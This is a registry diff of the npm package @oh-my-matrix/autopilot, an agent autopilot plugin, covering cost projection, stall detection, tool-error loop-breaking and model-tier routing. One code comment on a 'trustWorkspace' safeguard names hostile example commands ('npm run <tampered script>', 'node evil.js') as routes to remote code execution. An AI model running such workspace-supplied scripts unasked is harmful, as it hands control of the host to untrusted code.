@oh-my-matrix/autopilot 2.1.2 → 3.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +125 -10
- package/dist/index.d.ts +1 -1
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +338 -93
- package/dist/index.js.map +1 -1
- package/dist/src/autopilot-state.d.ts +17 -0
- package/dist/src/autopilot-state.d.ts.map +1 -1
- package/dist/src/autopilot-state.js +52 -8
- package/dist/src/autopilot-state.js.map +1 -1
- package/dist/src/command-runner.d.ts +2 -6
- package/dist/src/command-runner.d.ts.map +1 -1
- package/dist/src/command-runner.js +4 -34
- package/dist/src/command-runner.js.map +1 -1
- package/dist/src/completion-detector.d.ts.map +1 -1
- package/dist/src/completion-detector.js +16 -8
- package/dist/src/completion-detector.js.map +1 -1
- package/dist/src/effort-injection.d.ts +21 -2
- package/dist/src/effort-injection.d.ts.map +1 -1
- package/dist/src/effort-injection.js +37 -9
- package/dist/src/effort-injection.js.map +1 -1
- package/dist/src/event-shape.contract.d.ts +21 -0
- package/dist/src/event-shape.contract.d.ts.map +1 -0
- package/dist/src/event-shape.contract.js +10 -0
- package/dist/src/event-shape.contract.js.map +1 -0
- package/dist/src/logger.d.ts.map +1 -1
- package/dist/src/logger.js +42 -7
- package/dist/src/logger.js.map +1 -1
- package/dist/src/model-routing.d.ts +36 -0
- package/dist/src/model-routing.d.ts.map +1 -0
- package/dist/src/model-routing.js +106 -0
- package/dist/src/model-routing.js.map +1 -0
- package/dist/src/orchestrator.d.ts +34 -1
- package/dist/src/orchestrator.d.ts.map +1 -1
- package/dist/src/orchestrator.js +113 -12
- package/dist/src/orchestrator.js.map +1 -1
- package/dist/src/projection.d.ts +8 -2
- package/dist/src/projection.d.ts.map +1 -1
- package/dist/src/projection.js +15 -1
- package/dist/src/projection.js.map +1 -1
- package/dist/src/stall-detector.d.ts +4 -1
- package/dist/src/stall-detector.d.ts.map +1 -1
- package/dist/src/stall-detector.js +7 -3
- package/dist/src/stall-detector.js.map +1 -1
- package/dist/src/tool-error-tracker.d.ts +16 -0
- package/dist/src/tool-error-tracker.d.ts.map +1 -1
- package/dist/src/tool-error-tracker.js +16 -0
- package/dist/src/tool-error-tracker.js.map +1 -1
- package/dist/src/types.d.ts +67 -5
- package/dist/src/types.d.ts.map +1 -1
- package/dist/src/types.js +45 -1
- package/dist/src/types.js.map +1 -1
- package/dist/src/workflow-config.d.ts.map +1 -1
- package/dist/src/workflow-config.js +108 -14
- package/dist/src/workflow-config.js.map +1 -1
- package/openclaw.plugin.json +81 -4
- package/package.json +14 -5
- package/dist/src/audit-persister.d.ts +0 -25
- package/dist/src/audit-persister.d.ts.map +0 -1
- package/dist/src/audit-persister.js +0 -162
- package/dist/src/audit-persister.js.map +0 -1
- package/dist/src/permission-policy.d.ts +0 -36
- package/dist/src/permission-policy.d.ts.map +0 -1
- package/dist/src/permission-policy.js +0 -265
- package/dist/src/permission-policy.js.map +0 -1
package/dist/src/projection.js
CHANGED
|
@@ -2,6 +2,8 @@
|
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
3
|
exports.AUTOPILOT_OUTPUT_COST_PER_M_USD = exports.AUTOPILOT_INPUT_COST_PER_M_USD = void 0;
|
|
4
4
|
exports.projectState = projectState;
|
|
5
|
+
const effort_injection_1 = require("./effort-injection");
|
|
6
|
+
const model_routing_1 = require("./model-routing");
|
|
5
7
|
/**
|
|
6
8
|
* Claude API pricing constants used for cost estimation.
|
|
7
9
|
* Model: Claude Sonnet (as of 2026-Q2). Update if model/pricing changes.
|
|
@@ -12,13 +14,20 @@ exports.AUTOPILOT_OUTPUT_COST_PER_M_USD = 15.0;
|
|
|
12
14
|
// Claude Sonnet pricing (per 1M tokens, USD)
|
|
13
15
|
const INPUT_COST_PER_M = exports.AUTOPILOT_INPUT_COST_PER_M_USD;
|
|
14
16
|
const OUTPUT_COST_PER_M = exports.AUTOPILOT_OUTPUT_COST_PER_M_USD;
|
|
15
|
-
function projectState(state
|
|
17
|
+
function projectState(state,
|
|
18
|
+
// Effective config mirrors before_model_resolve (workflow wins, plugin fallback)
|
|
19
|
+
// so observability fields match actual runtime routing/injection.
|
|
20
|
+
config) {
|
|
16
21
|
if (!state)
|
|
17
22
|
return undefined;
|
|
18
23
|
const now = Date.now();
|
|
19
24
|
const inputTokens = state.inputTokensUsed ?? 0;
|
|
20
25
|
const outputTokens = state.outputTokensUsed ?? 0;
|
|
21
26
|
const estimatedCostUsd = (inputTokens * INPUT_COST_PER_M + outputTokens * OUTPUT_COST_PER_M) / 1_000_000;
|
|
27
|
+
const modelRouting = state.workflow?.modelRouting ?? config?.modelRouting;
|
|
28
|
+
const modelTier = state.status === 'running'
|
|
29
|
+
? (0, model_routing_1.resolveModelTier)(state.totalContinuations, state.evidence?.status, false, modelRouting)
|
|
30
|
+
: undefined;
|
|
22
31
|
return {
|
|
23
32
|
status: state.status,
|
|
24
33
|
enabled: state.enabled,
|
|
@@ -53,6 +62,11 @@ function projectState(state) {
|
|
|
53
62
|
lastEvidenceCommands: state.evidence?.commands,
|
|
54
63
|
workflowSource: state.workflow?.source,
|
|
55
64
|
workflowConfigError: state.workflowConfigError,
|
|
65
|
+
thinkingIntensity: state.status === 'running'
|
|
66
|
+
? (0, effort_injection_1.resolveThinkingIntensity)(state.totalContinuations, state.evidence?.status, config?.thinkingIntensity)
|
|
67
|
+
: undefined,
|
|
68
|
+
modelTier,
|
|
69
|
+
recommendedModelId: modelTier ? (0, model_routing_1.resolveModelId)(modelTier, modelRouting) : undefined,
|
|
56
70
|
};
|
|
57
71
|
}
|
|
58
72
|
//# sourceMappingURL=projection.js.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"projection.js","sourceRoot":"","sources":["../../src/projection.ts"],"names":[],"mappings":";;;
|
|
1
|
+
{"version":3,"file":"projection.js","sourceRoot":"","sources":["../../src/projection.ts"],"names":[],"mappings":";;;AA2DA,oCAwDC;AAlHD,yDAA8D;AAC9D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AAe,EAAE,KAAK,CAAC,QAAQ,EAAE,WAAW;QAC5C,oBAAoB,EAAE,KAAK,CAAC,QAAQ,EAAE,QAAQ;QAC9C,cAAc,EAAE,KAAK,CAAC,QAAQ,EAAE,MAAM;QACtC,mBAAmB,EAAE,KAAK,CAAC,mBAAmB;QAC9C,iBAAiB,EAAE,KAAK,CAAC,MAAM,KAAK,SAAS;YAC3C,CAAC,CAAC,IAAA,2CAAwB,EAAC,KAAK,CAAC,kBAAkB,EAAE,KAAK,CAAC,QAAQ,EAAE,MAAM,EAAE,MAAM,EAAE,iBAAiB,CAAC;YACvG,CAAC,CAAC,SAAS;QACb,SAAS;QACT,kBAAkB,EAAE,SAAS,CAAC,CAAC,CAAC,IAAA,8BAAc,EAAC,SAAS,EAAE,YAAY,CAAC,CAAC,CAAC,CAAC,SAAS;KACpF,CAAC;AACJ,CAAC"}
|
|
@@ -16,7 +16,10 @@ export interface StallResult {
|
|
|
16
16
|
}
|
|
17
17
|
/**
|
|
18
18
|
* Check if the run has stalled based on last activity time.
|
|
19
|
-
*
|
|
19
|
+
* Considers stall when orchestrationState is 'running' (active turn) or 'claimed'
|
|
20
|
+
* (M3: a claimed run that never receives a turn is a dead-end — detect it so the
|
|
21
|
+
* stall_timeout event can transition it to retry_queued, rather than waiting for
|
|
22
|
+
* the 24h orphan sweep).
|
|
20
23
|
*/
|
|
21
24
|
export declare function checkStall(input: StallCheckInput): StallResult;
|
|
22
25
|
//# sourceMappingURL=stall-detector.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"stall-detector.d.ts","sourceRoot":"","sources":["../../src/stall-detector.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AACH,MAAM,WAAW,eAAe;IAC9B,kBAAkB,EAAE,MAAM,CAAC;IAC3B,cAAc,CAAC,EAAE,MAAM,CAAC;IACxB,GAAG,EAAE,MAAM,CAAC;IACZ,cAAc,EAAE,MAAM,CAAC;CACxB;AAED,MAAM,WAAW,WAAW;IAC1B,OAAO,EAAE,OAAO,CAAC;IACjB,eAAe,CAAC,EAAE,MAAM,CAAC;CAC1B;AAED
|
|
1
|
+
{"version":3,"file":"stall-detector.d.ts","sourceRoot":"","sources":["../../src/stall-detector.ts"],"names":[],"mappings":"AAAA;;;;;GAKG;AACH,MAAM,WAAW,eAAe;IAC9B,kBAAkB,EAAE,MAAM,CAAC;IAC3B,cAAc,CAAC,EAAE,MAAM,CAAC;IACxB,GAAG,EAAE,MAAM,CAAC;IACZ,cAAc,EAAE,MAAM,CAAC;CACxB;AAED,MAAM,WAAW,WAAW;IAC1B,OAAO,EAAE,OAAO,CAAC;IACjB,eAAe,CAAC,EAAE,MAAM,CAAC;CAC1B;AAED;;;;;;GAMG;AACH,wBAAgB,UAAU,CAAC,KAAK,EAAE,eAAe,GAAG,WAAW,CAuB9D"}
|
|
@@ -3,12 +3,16 @@ Object.defineProperty(exports, "__esModule", { value: true });
|
|
|
3
3
|
exports.checkStall = checkStall;
|
|
4
4
|
/**
|
|
5
5
|
* Check if the run has stalled based on last activity time.
|
|
6
|
-
*
|
|
6
|
+
* Considers stall when orchestrationState is 'running' (active turn) or 'claimed'
|
|
7
|
+
* (M3: a claimed run that never receives a turn is a dead-end — detect it so the
|
|
8
|
+
* stall_timeout event can transition it to retry_queued, rather than waiting for
|
|
9
|
+
* the 24h orphan sweep).
|
|
7
10
|
*/
|
|
8
11
|
function checkStall(input) {
|
|
9
12
|
const { orchestrationState, lastActivityAt, now, stallTimeoutMs } = input;
|
|
10
|
-
//
|
|
11
|
-
|
|
13
|
+
// Check stall for active states: 'running' (turn in progress) and 'claimed'
|
|
14
|
+
// (waiting for a turn that may never come).
|
|
15
|
+
if (orchestrationState !== 'running' && orchestrationState !== 'claimed') {
|
|
12
16
|
return { stalled: false };
|
|
13
17
|
}
|
|
14
18
|
if (lastActivityAt == null) {
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"stall-detector.js","sourceRoot":"","sources":["../../src/stall-detector.ts"],"names":[],"mappings":";;
|
|
1
|
+
{"version":3,"file":"stall-detector.js","sourceRoot":"","sources":["../../src/stall-detector.ts"],"names":[],"mappings":";;AAyBA,gCAuBC;AA9BD;;;;;;GAMG;AACH,SAAgB,UAAU,CAAC,KAAsB;IAC/C,MAAM,EAAE,kBAAkB,EAAE,cAAc,EAAE,GAAG,EAAE,cAAc,EAAE,GAAG,KAAK,CAAC;IAE1E,4EAA4E;IAC5E,4CAA4C;IAC5C,IAAI,kBAAkB,KAAK,SAAS,IAAI,kBAAkB,KAAK,SAAS,EAAE,CAAC;QACzE,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;IAC5B,CAAC;IAED,IAAI,cAAc,IAAI,IAAI,EAAE,CAAC;QAC3B,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;IAC5B,CAAC;IAED,MAAM,OAAO,GAAG,GAAG,GAAG,cAAc,CAAC;IAErC,IAAI,OAAO,GAAG,cAAc,EAAE,CAAC;QAC7B,OAAO;YACL,OAAO,EAAE,IAAI;YACb,eAAe,EAAE,OAAO,GAAG,cAAc;SAC1C,CAAC;IACJ,CAAC;IAED,OAAO,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;AAC5B,CAAC"}
|
|
@@ -1,4 +1,20 @@
|
|
|
1
1
|
import type { AutopilotState, ToolErrorEntry } from './types';
|
|
2
|
+
/**
|
|
3
|
+
* Track a failed tool call for the loop-breaker (isThresholdExceeded → pause with
|
|
4
|
+
* 'tool_error_repeated'). Counts CONSECUTIVE identical failures (same tool AND
|
|
5
|
+
* same args); any different failure resets the count to 1. Successful calls do
|
|
6
|
+
* not reach here (after_tool_call only tracks when event.error is set), so they
|
|
7
|
+
* neither increment nor reset — a success between two identical failures still
|
|
8
|
+
* counts as consecutive.
|
|
9
|
+
*
|
|
10
|
+
* Deliberately narrow: "the same call failing over and over" is a precise stuck
|
|
11
|
+
* signal. Widening it (count total errors, or match on tool alone) would misfire
|
|
12
|
+
* on normal trial-and-error — an agent trying different commands, some of which
|
|
13
|
+
* fail, is making progress, not stuck. The known blind spot (an agent alternating
|
|
14
|
+
* between two DIFFERENT failing calls forever, A→B→A→B, never trips this) is
|
|
15
|
+
* accepted: the other loop-breakers (maxTotalContinuations, stall detector) catch
|
|
16
|
+
* it. Erring toward not-halting-real-work beats a false pause. (BUG-TET-1 review)
|
|
17
|
+
*/
|
|
2
18
|
export declare function trackToolError(state: AutopilotState, error: ToolErrorEntry): AutopilotState;
|
|
3
19
|
export declare function isThresholdExceeded(state: AutopilotState, threshold: number): boolean;
|
|
4
20
|
//# sourceMappingURL=tool-error-tracker.d.ts.map
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"tool-error-tracker.d.ts","sourceRoot":"","sources":["../../src/tool-error-tracker.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,cAAc,EAAE,cAAc,EAAE,MAAM,SAAS,CAAC;AAE9D,wBAAgB,cAAc,CAC5B,KAAK,EAAE,cAAc,EACrB,KAAK,EAAE,cAAc,GACpB,cAAc,CAWhB;AAED,wBAAgB,mBAAmB,CACjC,KAAK,EAAE,cAAc,EACrB,SAAS,EAAE,MAAM,GAChB,OAAO,CAET"}
|
|
1
|
+
{"version":3,"file":"tool-error-tracker.d.ts","sourceRoot":"","sources":["../../src/tool-error-tracker.ts"],"names":[],"mappings":"AAAA,OAAO,KAAK,EAAE,cAAc,EAAE,cAAc,EAAE,MAAM,SAAS,CAAC;AAE9D;;;;;;;;;;;;;;;GAeG;AACH,wBAAgB,cAAc,CAC5B,KAAK,EAAE,cAAc,EACrB,KAAK,EAAE,cAAc,GACpB,cAAc,CAWhB;AAED,wBAAgB,mBAAmB,CACjC,KAAK,EAAE,cAAc,EACrB,SAAS,EAAE,MAAM,GAChB,OAAO,CAET"}
|
|
@@ -2,6 +2,22 @@
|
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
3
|
exports.trackToolError = trackToolError;
|
|
4
4
|
exports.isThresholdExceeded = isThresholdExceeded;
|
|
5
|
+
/**
|
|
6
|
+
* Track a failed tool call for the loop-breaker (isThresholdExceeded → pause with
|
|
7
|
+
* 'tool_error_repeated'). Counts CONSECUTIVE identical failures (same tool AND
|
|
8
|
+
* same args); any different failure resets the count to 1. Successful calls do
|
|
9
|
+
* not reach here (after_tool_call only tracks when event.error is set), so they
|
|
10
|
+
* neither increment nor reset — a success between two identical failures still
|
|
11
|
+
* counts as consecutive.
|
|
12
|
+
*
|
|
13
|
+
* Deliberately narrow: "the same call failing over and over" is a precise stuck
|
|
14
|
+
* signal. Widening it (count total errors, or match on tool alone) would misfire
|
|
15
|
+
* on normal trial-and-error — an agent trying different commands, some of which
|
|
16
|
+
* fail, is making progress, not stuck. The known blind spot (an agent alternating
|
|
17
|
+
* between two DIFFERENT failing calls forever, A→B→A→B, never trips this) is
|
|
18
|
+
* accepted: the other loop-breakers (maxTotalContinuations, stall detector) catch
|
|
19
|
+
* it. Erring toward not-halting-real-work beats a false pause. (BUG-TET-1 review)
|
|
20
|
+
*/
|
|
5
21
|
function trackToolError(state, error) {
|
|
6
22
|
const isSameError = state.lastToolError &&
|
|
7
23
|
state.lastToolError.tool === error.tool &&
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"tool-error-tracker.js","sourceRoot":"","sources":["../../src/tool-error-tracker.ts"],"names":[],"mappings":";;
|
|
1
|
+
{"version":3,"file":"tool-error-tracker.js","sourceRoot":"","sources":["../../src/tool-error-tracker.ts"],"names":[],"mappings":";;AAkBA,wCAcC;AAED,kDAKC;AArCD;;;;;;;;;;;;;;;GAeG;AACH,SAAgB,cAAc,CAC5B,KAAqB,EACrB,KAAqB;IAErB,MAAM,WAAW,GACf,KAAK,CAAC,aAAa;QACnB,KAAK,CAAC,aAAa,CAAC,IAAI,KAAK,KAAK,CAAC,IAAI;QACvC,KAAK,CAAC,aAAa,CAAC,IAAI,KAAK,KAAK,CAAC,IAAI,CAAC;IAE1C,OAAO;QACL,GAAG,KAAK;QACR,aAAa,EAAE,KAAK;QACpB,cAAc,EAAE,WAAW,CAAC,CAAC,CAAC,KAAK,CAAC,cAAc,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC;KAC3D,CAAC;AACJ,CAAC;AAED,SAAgB,mBAAmB,CACjC,KAAqB,EACrB,SAAiB;IAEjB,OAAO,KAAK,CAAC,cAAc,IAAI,SAAS,CAAC;AAC3C,CAAC"}
|
package/dist/src/types.d.ts
CHANGED
|
@@ -1,7 +1,7 @@
|
|
|
1
1
|
export type AutopilotStatus = 'idle' | 'running' | 'paused' | 'done';
|
|
2
|
-
export type PauseReason = 'max_attempts_reached' | 'max_total_reached' | 'tool_error_repeated' | 'loop_breaker_triggered' | 'context_overflow_unrecoverable' | 'permission_denied' | 'injection_rejected' | 'user_stopped' | 'token_budget_exceeded';
|
|
2
|
+
export type PauseReason = 'max_attempts_reached' | 'max_total_reached' | 'tool_error_repeated' | 'loop_breaker_triggered' | 'context_overflow_unrecoverable' | 'permission_denied' | 'injection_rejected' | 'user_stopped' | 'token_budget_exceeded' | 'validation_failed';
|
|
3
3
|
export type OrchestrationState = 'unclaimed' | 'claimed' | 'running' | 'retry_queued' | 'released' | 'blocked' | 'done';
|
|
4
|
-
export type BlockedReason = 'permission_denied' | 'workspace_containment_failed' | 'workspace_create_failed' | 'validation_failed' | 'evidence_missing' | 'stalled' | 'token_budget_exceeded' | 'user_stopped' | 'config_invalid' | 'max_retries_reached';
|
|
4
|
+
export type BlockedReason = 'permission_denied' | 'workspace_containment_failed' | 'workspace_create_failed' | 'validation_failed' | 'evidence_missing' | 'stalled' | 'token_budget_exceeded' | 'user_stopped' | 'config_invalid' | 'max_retries_reached' | 'max_total_reached' | 'tool_error_repeated' | 'loop_breaker_triggered' | 'context_overflow_unrecoverable' | 'injection_rejected' | 'unrecoverable_error';
|
|
5
5
|
/** Canonical set of all valid BlockedReason values — used by isValidBlockedReason type guard */
|
|
6
6
|
export declare const VALID_BLOCKED_REASONS: ReadonlySet<BlockedReason>;
|
|
7
7
|
/** H-2: Type guard — validates that an arbitrary string is a BlockedReason.
|
|
@@ -9,7 +9,55 @@ export declare const VALID_BLOCKED_REASONS: ReadonlySet<BlockedReason>;
|
|
|
9
9
|
export declare function isValidBlockedReason(value: string): value is BlockedReason;
|
|
10
10
|
/** H-2: Safe BlockedReason coercion — returns the value if valid, otherwise falls back. */
|
|
11
11
|
export declare function toBlockedReason(value: string, fallback?: BlockedReason): BlockedReason;
|
|
12
|
+
/**
|
|
13
|
+
* W1 Phase 1.5: TOTAL PauseReason → BlockedReason mapping (no silent fallback).
|
|
14
|
+
*
|
|
15
|
+
* Replaces the lossy `toBlockedReason(pauseReason, 'validation_failed')` pattern
|
|
16
|
+
* that mapped 6 of 10 terminal PauseReasons to 'validation_failed' — which is in
|
|
17
|
+
* RESUMABLE_BLOCKED_REASONS, making terminal pauses look recoverable (TENSION 1).
|
|
18
|
+
*
|
|
19
|
+
* This function is total: every PauseReason has an explicit BlockedReason. Adding
|
|
20
|
+
* a new PauseReason without a mapping row is a COMPILE ERROR (not a silent bug).
|
|
21
|
+
*/
|
|
22
|
+
export declare function pauseReasonToBlockedReason(reason: PauseReason): BlockedReason;
|
|
12
23
|
export type EvidenceStatus = 'not_started' | 'running' | 'passed' | 'failed' | 'skipped';
|
|
24
|
+
/**
|
|
25
|
+
* Graduated thinking intensity levels for effort injection.
|
|
26
|
+
* - 'low': standard effort, prefer direct efficient responses
|
|
27
|
+
* - 'medium': moderate extended thinking
|
|
28
|
+
* - 'high': full extended thinking (default, backward compatible)
|
|
29
|
+
*/
|
|
30
|
+
export type ThinkingIntensity = 'low' | 'medium' | 'high';
|
|
31
|
+
/**
|
|
32
|
+
* Model tier for cost-aware routing. Maps to concrete model IDs via
|
|
33
|
+
* ModelRoutingConfig.modelIds. Consumed via before_model_resolve hook.
|
|
34
|
+
* - 'budget': cheapest viable (haiku / deepseek)
|
|
35
|
+
* - 'standard': default balance (sonnet)
|
|
36
|
+
* - 'premium': highest capability (opus)
|
|
37
|
+
*
|
|
38
|
+
* MODEL_TIERS is the single source of truth: the runtime allowlist (used by
|
|
39
|
+
* parseModelRouting / asTier) and the ModelTier union are both derived from
|
|
40
|
+
* it, so adding a tier is a compile-checked one-place edit — no parallel
|
|
41
|
+
* array to keep in sync by hand.
|
|
42
|
+
*/
|
|
43
|
+
export declare const MODEL_TIERS: readonly ["budget", "standard", "premium"];
|
|
44
|
+
export type ModelTier = (typeof MODEL_TIERS)[number];
|
|
45
|
+
/**
|
|
46
|
+
* Model routing configuration. Determines tier per execution phase.
|
|
47
|
+
* If modelIds[tier] is unset, no modelOverride is emitted (inherit declared model).
|
|
48
|
+
*/
|
|
49
|
+
export interface ModelRoutingConfig {
|
|
50
|
+
/** Required: tier for implementation turns. */
|
|
51
|
+
defaultTier: ModelTier;
|
|
52
|
+
/** Tier for initial turns (totalContinuations <= 1). Default: 'premium'. */
|
|
53
|
+
initialTurnTier?: ModelTier;
|
|
54
|
+
/** Tier for validation turns (evidence.status === 'running'). Default: 'standard'. */
|
|
55
|
+
validationTier?: ModelTier;
|
|
56
|
+
/** Override tier for subagent sessions. Default: fall through to phase logic. */
|
|
57
|
+
subagentTier?: ModelTier;
|
|
58
|
+
/** Map tier -> concrete model ID string (e.g. "claude-opus-4-8"). */
|
|
59
|
+
modelIds?: Partial<Record<ModelTier, string>>;
|
|
60
|
+
}
|
|
13
61
|
import type { CommandClass, PermissionAuditEntry } from '@oh-my-matrix/permission-policy';
|
|
14
62
|
export type { CommandClass, PermissionAuditEntry };
|
|
15
63
|
export interface WorkspaceRecord {
|
|
@@ -71,6 +119,7 @@ export interface WorkflowConfig {
|
|
|
71
119
|
allow: boolean;
|
|
72
120
|
};
|
|
73
121
|
warnings: string[];
|
|
122
|
+
modelRouting?: ModelRoutingConfig;
|
|
74
123
|
}
|
|
75
124
|
export type OrchestratorEvent = {
|
|
76
125
|
type: 'activate_requested';
|
|
@@ -137,6 +186,11 @@ export type OrchestratorEvent = {
|
|
|
137
186
|
type: 'resume_requested';
|
|
138
187
|
runId: string;
|
|
139
188
|
now: number;
|
|
189
|
+
} | {
|
|
190
|
+
type: 'pause_requested';
|
|
191
|
+
runId: string;
|
|
192
|
+
reason: PauseReason;
|
|
193
|
+
now: number;
|
|
140
194
|
};
|
|
141
195
|
export interface ToolErrorEntry {
|
|
142
196
|
tool: string;
|
|
@@ -191,6 +245,17 @@ export interface AutopilotConfig {
|
|
|
191
245
|
highRiskTools?: string[];
|
|
192
246
|
tokenBudget?: number;
|
|
193
247
|
maxConcurrentAutopilot?: number;
|
|
248
|
+
thinkingIntensity?: ThinkingIntensity;
|
|
249
|
+
modelRouting?: ModelRoutingConfig;
|
|
250
|
+
/**
|
|
251
|
+
* S1 residual (audit 2026-06-30): when false/undefined (default), validation
|
|
252
|
+
* commands sourced from WORKFLOW.md or auto-detected from the workspace are
|
|
253
|
+
* NOT executed. An untrusted workspace cannot reach RCE via the evidence gate
|
|
254
|
+
* (this also covers `npm run <tampered script>` / `node evil.js`, which the
|
|
255
|
+
* binary allowlist alone cannot stop). Operators opt in per-activate (payload)
|
|
256
|
+
* or via plugin config to enable workspace-sourced validation.
|
|
257
|
+
*/
|
|
258
|
+
trustWorkspace?: boolean;
|
|
194
259
|
}
|
|
195
260
|
export declare const DEFAULT_CONFIG: AutopilotConfig;
|
|
196
261
|
export declare function createInitialState(sessionKey: string, runId: string, config?: AutopilotConfig): AutopilotState;
|
|
@@ -217,7 +282,4 @@ export interface InjectionResult {
|
|
|
217
282
|
enqueued: boolean;
|
|
218
283
|
reason?: string;
|
|
219
284
|
}
|
|
220
|
-
/** Hook registration function signature */
|
|
221
|
-
export type HookHandler = (...args: unknown[]) => unknown;
|
|
222
|
-
export type RegisterHookFn = (hookName: string, handler: HookHandler) => void;
|
|
223
285
|
//# sourceMappingURL=types.d.ts.map
|
package/dist/src/types.d.ts.map
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../../src/types.ts"],"names":[],"mappings":"AAAA,MAAM,MAAM,eAAe,GAAG,MAAM,GAAG,SAAS,GAAG,QAAQ,GAAG,MAAM,CAAC;AAErE,MAAM,MAAM,WAAW,GACnB,sBAAsB,GACtB,mBAAmB,GACnB,qBAAqB,GACrB,wBAAwB,GACxB,gCAAgC,GAChC,mBAAmB,GACnB,oBAAoB,GACpB,cAAc,GACd,uBAAuB,CAAC;
|
|
1
|
+
{"version":3,"file":"types.d.ts","sourceRoot":"","sources":["../../src/types.ts"],"names":[],"mappings":"AAAA,MAAM,MAAM,eAAe,GAAG,MAAM,GAAG,SAAS,GAAG,QAAQ,GAAG,MAAM,CAAC;AAErE,MAAM,MAAM,WAAW,GACnB,sBAAsB,GACtB,mBAAmB,GACnB,qBAAqB,GACrB,wBAAwB,GACxB,gCAAgC,GAChC,mBAAmB,GACnB,oBAAoB,GACpB,cAAc,GACd,uBAAuB,GACvB,mBAAmB,CAAC;AAIxB,MAAM,MAAM,kBAAkB,GAC1B,WAAW,GACX,SAAS,GACT,SAAS,GACT,cAAc,GACd,UAAU,GACV,SAAS,GACT,MAAM,CAAC;AAEX,MAAM,MAAM,aAAa,GACrB,mBAAmB,GACnB,8BAA8B,GAC9B,yBAAyB,GACzB,mBAAmB,GACnB,kBAAkB,GAClB,SAAS,GACT,uBAAuB,GACvB,cAAc,GACd,gBAAgB,GAChB,qBAAqB,GAIrB,mBAAmB,GACnB,qBAAqB,GACrB,wBAAwB,GACxB,gCAAgC,GAChC,oBAAoB,GAGpB,qBAAqB,CAAC;AAE1B,gGAAgG;AAChG,eAAO,MAAM,qBAAqB,EAAE,WAAW,CAAC,aAAa,CAiB3D,CAAC;AAEH;oFACoF;AACpF,wBAAgB,oBAAoB,CAAC,KAAK,EAAE,MAAM,GAAG,KAAK,IAAI,aAAa,CAE1E;AAED,2FAA2F;AAC3F,wBAAgB,eAAe,CAAC,KAAK,EAAE,MAAM,EAAE,QAAQ,GAAE,aAAmC,GAAG,aAAa,CAE3G;AAED;;;;;;;;;G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
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
-
exports.DEFAULT_CONFIG = exports.VALID_BLOCKED_REASONS = void 0;
|
|
3
|
+
exports.DEFAULT_CONFIG = exports.MODEL_TIERS = exports.VALID_BLOCKED_REASONS = void 0;
|
|
4
4
|
exports.isValidBlockedReason = isValidBlockedReason;
|
|
5
5
|
exports.toBlockedReason = toBlockedReason;
|
|
6
|
+
exports.pauseReasonToBlockedReason = pauseReasonToBlockedReason;
|
|
6
7
|
exports.createInitialState = createInitialState;
|
|
7
8
|
/** Canonical set of all valid BlockedReason values — used by isValidBlockedReason type guard */
|
|
8
9
|
exports.VALID_BLOCKED_REASONS = new Set([
|
|
@@ -16,6 +17,12 @@ exports.VALID_BLOCKED_REASONS = new Set([
|
|
|
16
17
|
'user_stopped',
|
|
17
18
|
'config_invalid',
|
|
18
19
|
'max_retries_reached',
|
|
20
|
+
'max_total_reached',
|
|
21
|
+
'tool_error_repeated',
|
|
22
|
+
'loop_breaker_triggered',
|
|
23
|
+
'context_overflow_unrecoverable',
|
|
24
|
+
'injection_rejected',
|
|
25
|
+
'unrecoverable_error',
|
|
19
26
|
]);
|
|
20
27
|
/** H-2: Type guard — validates that an arbitrary string is a BlockedReason.
|
|
21
28
|
* Returns `'validation_failed'` fallback when the string is not a valid reason. */
|
|
@@ -26,6 +33,43 @@ function isValidBlockedReason(value) {
|
|
|
26
33
|
function toBlockedReason(value, fallback = 'validation_failed') {
|
|
27
34
|
return isValidBlockedReason(value) ? value : fallback;
|
|
28
35
|
}
|
|
36
|
+
/**
|
|
37
|
+
* W1 Phase 1.5: TOTAL PauseReason → BlockedReason mapping (no silent fallback).
|
|
38
|
+
*
|
|
39
|
+
* Replaces the lossy `toBlockedReason(pauseReason, 'validation_failed')` pattern
|
|
40
|
+
* that mapped 6 of 10 terminal PauseReasons to 'validation_failed' — which is in
|
|
41
|
+
* RESUMABLE_BLOCKED_REASONS, making terminal pauses look recoverable (TENSION 1).
|
|
42
|
+
*
|
|
43
|
+
* This function is total: every PauseReason has an explicit BlockedReason. Adding
|
|
44
|
+
* a new PauseReason without a mapping row is a COMPILE ERROR (not a silent bug).
|
|
45
|
+
*/
|
|
46
|
+
function pauseReasonToBlockedReason(reason) {
|
|
47
|
+
switch (reason) {
|
|
48
|
+
case 'permission_denied': return 'permission_denied';
|
|
49
|
+
case 'user_stopped': return 'user_stopped';
|
|
50
|
+
case 'token_budget_exceeded': return 'token_budget_exceeded';
|
|
51
|
+
case 'validation_failed': return 'validation_failed';
|
|
52
|
+
case 'max_attempts_reached': return 'max_retries_reached';
|
|
53
|
+
case 'max_total_reached': return 'max_total_reached';
|
|
54
|
+
case 'tool_error_repeated': return 'tool_error_repeated';
|
|
55
|
+
case 'loop_breaker_triggered': return 'loop_breaker_triggered';
|
|
56
|
+
case 'context_overflow_unrecoverable': return 'context_overflow_unrecoverable';
|
|
57
|
+
case 'injection_rejected': return 'injection_rejected';
|
|
58
|
+
}
|
|
59
|
+
}
|
|
60
|
+
/**
|
|
61
|
+
* Model tier for cost-aware routing. Maps to concrete model IDs via
|
|
62
|
+
* ModelRoutingConfig.modelIds. Consumed via before_model_resolve hook.
|
|
63
|
+
* - 'budget': cheapest viable (haiku / deepseek)
|
|
64
|
+
* - 'standard': default balance (sonnet)
|
|
65
|
